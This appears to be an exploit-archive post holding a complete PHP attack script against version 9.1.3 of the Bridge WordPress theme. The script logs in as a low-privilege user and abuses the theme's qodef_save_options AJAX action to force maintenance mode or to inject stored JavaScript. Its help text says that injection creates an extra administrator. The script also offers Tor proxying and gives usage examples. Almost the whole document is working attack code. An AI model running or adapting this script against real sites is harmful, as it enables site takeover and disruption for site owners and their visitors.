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WordPress Bridge 9.1.3 Theme Exploit

Posted on 30 November -0001

<?php
/**
 * Exploit Titie: Bridge - Creative Multi-Purpose WordPress Theme  Exploit
 * Google Dork:
 * Exploit Author: <contact@wp0day.com>
 * Vendor Homepage: http://bridge.qodeinteractive.com/
 * Software Link: http://themeforest.net/item/bridge-creative-multipurpose-wordpress-theme/7315054
 * Version: 9.1.3
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: Stored XSS, Ability to overwrite any theme settings.
 * Time line: Found [23-Apr-2016], Vendor notified [23-Apr-2016], Vendor fixed: [Yes], [RD:1]
 */
 
 
require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();
 
 
$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);
 
if (!$options){
    showHelp();
}
 
if ($options['tor'] === true)
{
    echo " ### USING TOR ###
";
    echo "Setting TOR Proxy...
";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address
";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."
";
    echo "Are you sure you want to do this?
Type 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!
");
    }
    echo "OK...
";
}
 
 
function logIn(){
    global $curl, $options;
    file_put_contents('cookies.txt',"
");
    $curl->setCookieFile('cookies.txt');
    $curl->get($options['t']);
    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
    $curl->post($options['t'].'/wp-login.php', $data);
    $status =  $curl->getTransferInfo('http_code');
    if ($status !== 302){
        echo "Login probably failed, aborting...
";
        echo "Login response saved to login.html.
";
        die();
    }
    file_put_contents('login.html',$curl->getResponse());
 
 
}
 
 
function exploit(){
    global $curl, $options;
 
    switch ($options['m']){
        case 'm' :
                //Maintanence mode
                echo "Putting site in maintenece mode
";
                $data = array('action' => 'qodef_save_options', 'qode_maintenance_mode'=>'yes');
                $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
                $resp = $curl->getResponse();
                echo "Response: ".$resp."
";
            break;
        case 'x' :
                //XSS Mode, create extra admin
                echo "Injecting inject.js 
";
                $data = array('action' => 'qodef_save_options', 'custom_js'=>file_get_contents(dirname(__FILE__)."/inject.js"));
                $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
                $resp = $curl->getResponse();
                echo "Response: ".$resp."
";
 
            break;
    }
 
 
 
}
 
 
 
logIn();
exploit();
 
 
function validateInput($options){
 
    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }
    if ( !isset($options['u']) ){
        return false;
    }
    if ( !isset($options['p']) ){
        return false;
    }
    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('m','x') ) ){
        return false;
    }
    $options['tor'] = isset($options['tor']);
 
    return $options;
}
 
 
function showHelp(){
    global $argv;
    $help = <<<EOD
 
    Bridge Theme Exploit, Stored XSS, Create Admin account.
 
Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]
 
       *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
 
       [TARGET_URL] http://localhost/wordpress/
       [MODE] x - Permanent XSS DEMO, m - Maintenance Mode
 
Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m x
       php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m m
 
    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License
 
EOD;
    echo $help."

";
    die();
}

 

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